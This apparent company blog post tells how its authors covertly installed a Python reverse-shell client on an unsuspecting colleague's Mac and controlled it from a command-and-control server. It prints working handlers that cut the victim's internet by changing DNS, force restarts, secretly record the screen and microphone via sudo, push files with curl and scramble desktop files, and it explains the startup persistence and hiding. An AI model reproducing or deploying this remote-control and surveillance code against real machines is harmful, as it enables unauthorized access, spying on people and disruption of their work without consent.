Back to blogs

Tech & Trends

31. 08. 2021

How to hack your colleague with Python

by Tomas Martinčić

Let’s start with the results

Imagine one peaceful morning, you start working on your laptop and suddenly – your laptop starts restarting. Once. Twice. Your work is not saved and you are somewhat frustrated. Then suddenly, fishy NSFW websites start popping up. There is confusion in the air.

Next thing you know, your internet is not working. Your client’s API is effectively returning you 404; your browser is returning 404, you are offline from the company’s Slack for no apparent reason. But the whole office is online, and we are all on the same Wi-Fi?!

After 20 min of troubleshooting, your laptop started working again. Finally, you get your connection, perform a factory reset and have a squeaky clean PC to work with. You start a meeting, and suddenly the computer goes crazy and starts playing pig noises at a full volume in the middle of the office. Then background changes to NSFW background, there are loud NSFW voices coming from your laptop, and CTO is giving you sh*t to turn it all down because the office is on fire (people rolling on the floor laughing). Who would’ve imagined everyone in the office in that moment, were part of the prank that’s being pulled on you?

Introduction

First of all, I want everyone to understand that what I am about to present is for educational purposes only. These methods should not be abused for purposes they are not meant to serve.

So it all started one sunny morning in the office kitchen. Luka and I were drinking coffee, making jokes about hacking NASA. The CEO overheard us and suggested we should prank hack someone from the office if we had free time. Our eyes lit up like children’s in a candy shop. Luckily for us, we always have free time, and we started working immediately. Luka’s master’s thesis gave us a good head start since he was writing about Methods of ethical hacking. There he wrote a python program capable of a reverse shell with client and server code being together 65 lines. About 3 hours later, at our backend team code review, we’ve had a prototype working. It could execute various commands for us, SSH access, and the client had reverse shell backdoor in case the SSH was shutdown. The CTO (our team lead) was impressed, and we’ve got a green light to use all resources available to make this happen.

Structure of the attack

The script was split into two parts, the server and the client. Since this was a reverse shell attack, we (hackers) were the server, and the hacked person was the client. This only required us to set up his laptop to run the client on startup. This way, whenever he was in the office, the script was running in the background. It was constantly checking if the server is available, and once we started our server, we would reconnect. The beauty of reverse shell is that we could’ve been doing it from anywhere on the planet. This is because the only port-forwarding that should’ve been configured was at the server-side. The client was creating outgoing requests, and the router would not block them. Once we sent a command from the server, the client would receive the command, parse the command if there was some extra work; if there was nothing to parse, we would pipe it into the terminal.

Usage of the program

The program which we used as a layer between us and the hacked colleague (further on referenced as ‘the client’) was written in Python. By default, what we’ve had from Luka’s master’s thesis was direct shell access, but we expanded it to be a filter for incoming commands. For example, if we wanted to open up a program, it was very simple to open it with open programName in a shell.

But if we wanted to randomize the whole desktop, create dummy folders, and hide items within, this required many commands. We would put this logic inside a function, and when we receive a command which we defined (eg. ‘randomize-desktop N’ where N is a number of folders) we would simply call the corresponding function and feed it parameter N.

The flow of this system was the following:

  1. commands were coming from the server to the client
  2. client would try to parse the command into one of its internal functions
  3. if none corresponded it would simply pipe the result directly into the shell
  4. repeat indefinitely

Server.py

The server initializes the socket on some arbitrary port that is usually not used. It also sets up the number of possible incoming connections; in our case, it was 5. This would allow us to have Command and Control center for up to 5 clients at a time. Currently, we would not distinguish them, so when sending a command, we’d send it to all clients. send_commands function is called at the end; it is stuck in while true loop asks us for input. If we input some data, we turn it into a byte array and if greater than 0 bytes of data were inputted, we send it to client/s which are connected to our socket.

Client.py

The client initializes a socket that connects to our server at our desired arbitrary port. Everything that receives, decodes to utf-8 and pipes it into the shell. All the output is read from the shell, translated into a byte array, and sent back to Command and Control server.

Learn more

Base code for server.py and client.py are further explained in my colleague’s master’s thesis on pages 54 and 55. I will, from here onwards, explain command by command. If there is any uncertainty, leave a comment below, and we’ll discuss it further.

List of commands and abilities

I will skip over some commands such as 449 & 450, which are composites of other commands. For example, 450 is just a combination of set-bg and play-sound. Also, 8000 is equivalent to the say command, which can be found on OSx. Media command is short for ls media. For play-sound, we changed the implementation from using python’s play-sound library to using OSx’s default afplay. The beauty of playing music this way is that the audio file cannot be turned off because you can’t see any window. It’s a process under the hood that is playing it.

  • 404: Turns internet off – sets DNS to non-existing one
  • 409: Restarts PC
  • 423: Hibernates PC
  • 449: Plays Windows error message – Usage: (449) plays sound once. If you want to play N times use 449 N
  • 450: Plays Windows XP error sound and sets windows XP background
  • 8000: Tells something to the client – text-to-speech AI will interpret your text to sound on client’s laptop – Usage: 8000 “hello world”
  • media: Lists available media
  • dialog: Shows message dialog – Usage: pass parameters and split with semicolon Title_Body_Button1_Button2
  • screen: Records screen for N seconds – Usage: ex. screen N fileName.mp4 – N is number of seconds, fileName is name of recording file
  • set-bg: Sets background – Usage: ex. set-bg fileName.png – find files with media command
  • play-sound: Plays sound – Usage: ex. play-sound fileName.mp3 – find files with media command
  • upload: Uploads file to victim – Usage: ex. upload filename.ext – files are located at C:\xampp\htdocs
  • folders: Creates N random folders and existing desktop items are moved in them – Usage: ex. folders N, where N is number of folders
  • volume control

404

Back to list of commands

This is an internet toggle. There is this nice command within OSx called network setup where you can configure various network information. We’ve decided to turn the DNS off because it’s quite hard to troubleshoot.

#raspberrypi #ssh #2fa #security
def switchDNS(client, condition):
    ip = '123.123.123.123' #Non existing dns
    output = 'INTERNET TURNED OFF - Client's internet will now appear as offline and all content will respond with 404'
    if condition:
        ip = '8.8.8.8' #Google's DNS
        output = 'INTERNET TURNED ON - Client's internet will now appear normal'

    command = 'networksetup -setdnsservers Wi-Fi ' + ip
    cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    respond(client, output)

This is mostly self-explanatory except the subprocess.Popen part. This pipes the string (command variable) to shell and executes it.

409-423

Back to list of commands

def hybernatePC(client):
    respond(client, "Hybernating PC...")
    os.system("shutdown -h now")

def restartPC(client):
    respond(client, "Restarting PC...")
    os.system("shutdown -r now")

import os allows us to execute a command in shell, much like subprocess.Popen. The only difference is that os.system sometimes does not have enough permission to execute given commands. I’ve grouped these two commands because the only thing that’s changing here is the parameter -r or -h which defines what kind of shutdown will happen.

dialog

Back to list of commands

def messageDialog(client, data):
    items = data[7:].split('_')    
    print(items)
    title = items[0]
    body = items[1]
    button1 = items[2]
    button2 = items[3]
    output = "Message dialog shown!"
    command = 'osascript -e \'display dialog "'+body+'" buttons {"'+button1+'", "'+button2+'"} with title "'+title+'"\' &>/dev/null'
    os.system(command)
    respond(client, output)

Here we parse the parameters from the data sent. Data is sent in title_body_button1_button2 format, all separated by an underscore. Then we have formatted the osascript command which displays the message dialog. We simply input our parsed parameters to the command in their designated place and execute the command.

screen

Back to list of commands

def recordScreen(client, data):
    items = data[16:].split('_')
    seconds = items[0]
    file = items[1]
    dir = os.getcwd()
    respond(client, 'recording...')
    command = 'echo "123" | sudo -S screencapture -g -V ' +seconds+ ' ' +dir+'/media/'+file
    subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

Screen recording takes seconds of screen time along with filename because the command does not know where to save the file. Along with the screen, the additional -V parameter tells it to record audio from the microphone as well. Here we needed higher privileges and used subprocess.Popen.

set-bg

Back to list of commands

def changeBackground(client, img):
    dir = os.getcwd()
    command = 'osascript -e \'tell application "Finder" to set desktop picture to POSIX file "' + dir + '/media/'+img+'"\''
    cmd = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = "Background changed to " + img
    respond(client, output)

Change background will get a working directory, go-to media, and set the defined IMG file as the background. osascript command is also predefined, and here we can see how the python filter came in nicely. We would send set-bg image.png which is very readable and convenient, whereas 'osascript -e \'tell application "Finder" to set desktop picture to POSIX file "' + dir + '/media/'+img+'"\'' is a bit less convenient or readable.

upload

Back to list of commands

The upload command was parsed on the server-side and sent out a curl command. Since we were on the same network as the client, we could ping ourselves easily. We started a local server with XAMPP and within the htdocs folder, we uploaded the files we wanted to upload. Then we would send the command sudo curl http://192.168.10.132:80/file.mp3 -o /secret/location/file.mp3 where 192.168.10.132 would be the server’s IP address.

folders

Back to list of commands

#Running this script N times will create N depth of folder hiding
def randomizeDesktop(amount):
    p1 = randomName()
    randFold = p1.randomFolderName()

    cmd = subprocess.Popen('whoami', shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output_bytes = cmd.stdout.read() + cmd.stderr.read()
    user = str(output_bytes, 'utf-8').rstrip()

    thingsToMoveAround = os.listdir('/Users/'+user+'/Desktop')
    rnd = random.randint(30, 150)
    folders = []

    #create random amount of folders
    for x in range(amount):
        folder = p1.randomFolderName()
        cmd = 'mkdir /Users/'+user+'/Desktop/' + folder
        os.system(cmd)
        folders.append(folder)

    #move all things found on desktop to random folders   
    for item in thingsToMoveAround:
        randomFolder = random.choice(folders)
        print('fold: '+randomFolder)
        print('item: '+item)
        cmd = 'mv /Users/'+user+'/Desktop/' + item + ' /Users/'+user+'/Desktop/' + randomFolder + '/' + item
        print(cmd)
        os.system(cmd)

This one is a bit more complicated than the others but bear with me here. Firstly, we initialize class randomName. This class is containing a single function. That is the randomFolderName() function which contains an array of about 1000 folders that can be found on disk and gives you a random record. Then we run whoami command so we can find out the current user and append that to the file path to the desktop.

The thingsToMoveAround variable will list the desktop items and put them inside an array so we can later move those items in new folders.

First, for loop will create random folders using the mkdir command, and it will create as many folders as specified. Then the next for loop will go through thingsToMoveAround and put those things into one of many created folders.

This has a depth of 1, meaning that there are no subfolders within initial folders, but running this script N times will create N subfolders. This was uber fun, but also somewhat dangerous because it has the potential for rage quit and deleting possibly important files from the desktop.

volume control

Back to list of commands
Volume control is part of very useful osascript. sudo osascript -e "set Volume 10" is all the magic you need to set someone’s volume to maximum.

Conclusion

So I conclude that this was a very fun and interesting project. We’ve learned many new things, such as learning the internals of OSx, python control, command & control servers, etc. The hack was placed on our colleague’s computer while he was on a lunch break, and we activated SSH on his PC when he left. From there, we copied the script to a hidden location and the game was on.

We’ve had some difficulties because macOS has weird default privileges, such as not allowing terminal full disk access. This resulted in us being in the complete dark regarding the filesystem. Well, for most of the time. We could’ve navigated around using cd but we never knew where to navigate because ls was not working. We’ve later realized there is a Shared user to which we’ve had permission to navigate and list files, so we’ve nested our script and media there.

Life tip: ”Never leave your computer unlocked in a room full of young developers.”